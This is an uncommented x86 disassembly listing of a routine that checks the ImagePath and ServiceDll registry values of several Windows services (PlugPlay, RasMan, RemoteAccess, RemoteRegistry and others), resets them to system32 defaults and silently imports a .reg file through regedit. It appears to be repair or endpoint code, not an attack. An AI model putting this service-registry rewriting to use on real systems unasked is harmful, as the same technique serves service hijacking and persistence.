repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2195
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4d215b
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x1fcc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x1fcc]
push str._system32mswsock.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d218b
lea eax, [ebp - 0x1fcc]
push str.System32mswsock.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d218b
push str._SystemRoot_System32mswsock.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.NtFrs
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov ecx, dword [ebp - 0x24]
mov eax, 1
add esp, 0x10
cmp ecx, eax
je 0x4d21ce
cmp dword [ebp - 0x28], eax
je 0x4d21ce
cmp dword [ebp - 0x2c], eax
jne 0x4d22df
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d22df
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d2286
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x424c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x424c]
push str._system32_ntfrs.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d22d5
lea edx, [ebp - 0x424c]
push str.System32_ntfrs.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d22d5
push str._SystemRoot__system32_ntfrs.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d22b2
lea eax, [ebp - 0x2b8]
push str.ntfrs.exe
push eax
lea ecx, [ebp - 0x62cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x62cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.NtmsSvc
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4d231d
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4d231d
cmp dword [ebp - 0x2c], eax
jne 0x4d24ff
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2400
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d23c6
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x20cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x20cc]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d23f6
lea ecx, [ebp - 0x20cc]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d23f6
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d24ff
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4d24c5
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x494c]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x494c]
push str._system32_ntmssvc.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d24f5
lea eax, [ebp - 0x494c]
push str.System32_ntmssvc.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d24f5
push str._SystemRoot_System32_ntmssvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.PlugPlay
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4d253d
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4d253d
cmp dword [ebp - 0x2c], eax
jne 0x4d26ba
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d268a
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d2604
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x21cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x21cc]
push str._system32_services.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d267e
lea edx, [ebp - 0x21cc]
push str.System32_services.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d267e
mov eax, dword [ebp - 0x20]
push str._SystemRoot__system32_services.exe
inc eax
mov dword [ebp - 0x20], eax
call fcn.004fa6c0
add esp, 4
jmp 0x4d265b
mov ecx, dword [ebp - 0x20]
push str.5.....PlugPlay
inc ecx
mov dword [ebp - 0x20], ecx
mov ecx, 0xf558a0
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea eax, [ebp - 0x2b8]
push str.services.exe
push eax
lea ecx, [ebp - 0x58cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x58cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d26b5
mov ecx, dword [ebp - 0x20]
push str.5.....PlugPlay
inc ecx
mov dword [ebp - 0x20], ecx
mov ecx, 0xf558a0
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, 1
cmp dword [ebp - 0x30], eax
je 0x4d26c8
cmp dword [ebp - 0x34], eax
jne 0x4d28b6
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d27b4
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d2771
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x434c]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x434c]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d27a8
lea eax, [ebp - 0x434c]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d27a8
mov eax, dword [ebp - 0x20]
push str._SystemRoot__system32_svchost.exe__k_DcomLaunch
inc eax
mov dword [ebp - 0x20], eax
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d27b7
inc dword [ebp - 0x20]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d28b6
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4d287c
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x22cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x22cc]
push str._system32umpnpmgr.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d28ac
lea edx, [ebp - 0x22cc]
push str.System32umpnpmgr.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d28ac
push str._SystemRoot_System32umpnpmgr.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
test eax, eax
jle 0x4d28e9
push str.c:endpcachePlugPlay.reg
call fcn.004abe70
mov esi, 1
add esp, 4
cmp eax, esi
jne 0x4d28e0
push str.regedit.exe__s_PlugPlay.reg
call fcn.004f2ce2
add esp, 4
mov dword [ebp - 0x20], 0
jmp 0x4d28ee
mov esi, 1
push str.RDSessMgr
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d2922
cmp dword [ebp - 0x28], esi
je 0x4d2922
cmp dword [ebp - 0x2c], esi
jne 0x4d2a33
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2a33
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d29da
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x4e4c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x4e4c]
push str._system32_sessmgr.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d2a29
lea ecx, [ebp - 0x4e4c]
push str.System32_sessmgr.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d2a29
push str._SystemRoot__system32_sessmgr.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d2a06
lea edx, [ebp - 0x2b8]
push str.sessmgr.exe
push edx
lea eax, [ebp - 0x5ecc]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [ebp - 0x5ecc]
push ecx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.RasAuto
call fcn.004fa6c0
mov esi, eax
lea ecx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
add esp, 0x10
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2b37
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d2afd
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x23cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x23cc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d2b2d
lea eax, [ebp - 0x23cc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d2b2d
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2c36
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4d2bfc
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x444c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x444c]
push str._system32_rasauto.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d2c2c
lea edx, [ebp - 0x444c]
push str.System32_rasauto.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d2c2c
push str._SystemRoot_System32_rasauto.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.RasMan
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2d3a
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d2d00
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x24cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x24cc]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d2d30
lea ecx, [ebp - 0x24cc]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d2d30
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2e39
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4d2dff
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x394c]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x394c]
push str._system32_rasmans.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d2e2f
lea eax, [ebp - 0x394c]
push str.System32_rasmans.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d2e2f
push str._SystemRoot_System32_rasmans.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.RemoteAccess
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
add esp, 0x10
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2f3d
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d2f03
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x25cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x25cc]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d2f33
lea edx, [ebp - 0x25cc]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d2f33
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3036
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4d3002
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x39cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x39cc]
push str._system32mprdim.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d302c
lea ecx, [ebp - 0x39cc]
push str.System32mprdim.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d302c
push str._SystemRoot_System32mprdim.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.RemoteRegistry
call fcn.004fa6c0
mov ebx, eax
lea ecx, [ebp - 0x234]
push ebx
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
mov eax, dword [ebp - 0x28]
add esp, 0x10
cmp eax, 1
jne 0x4d325f
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3154
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
mov esi, eax
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test esi, esi
jne 0x4d3114
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x26cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x26cc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d3148
lea eax, [ebp - 0x26cc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d3148
push str._SystemRoot__system32_svchost.exe__k_LocalService
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d315a
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d3265
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
